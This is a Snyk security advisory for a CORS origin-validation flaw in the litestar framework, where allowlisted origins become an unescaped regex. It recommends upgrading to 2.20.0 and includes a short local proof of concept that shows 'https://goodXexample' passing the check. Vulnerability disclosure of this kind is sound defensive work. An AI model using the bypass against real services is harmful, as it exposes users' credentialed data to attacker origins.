Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Permissive Cross-domain Policy with Untrusted Domains vulnerabilities in an interactive lesson.
Start learningUpgrade litestar to version 2.20.0 or higher.
litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework
Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains via the CORSConfig.allowed_origins_regex, which uses a regex built from configured allowlist values and used with fullmatch() for validation. An attacker can bypass origin validation by supplying a malicious origin containing unescaped regex metacharacters.
Server
from litestar import Litestar, get from litestar.config.cors import CORSConfig@get("/c") async def c() -> str: return "ok"
cors = CORSConfig( allow_origins=["https://good.example"], allow_credentials=True, ) app = Litestar([c], cors_config=cors) uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002
Client
import http.clientdef req(origin: str) -> tuple[int, str | None]: c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3) c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"}) r = c.getresponse() r.read() acao = r.getheader("Access-Control-Allow-Origin") c.close() return r.status, acao
print("evil:", req("https://evil.example")) print("bypass:", req("https://goodXexample"))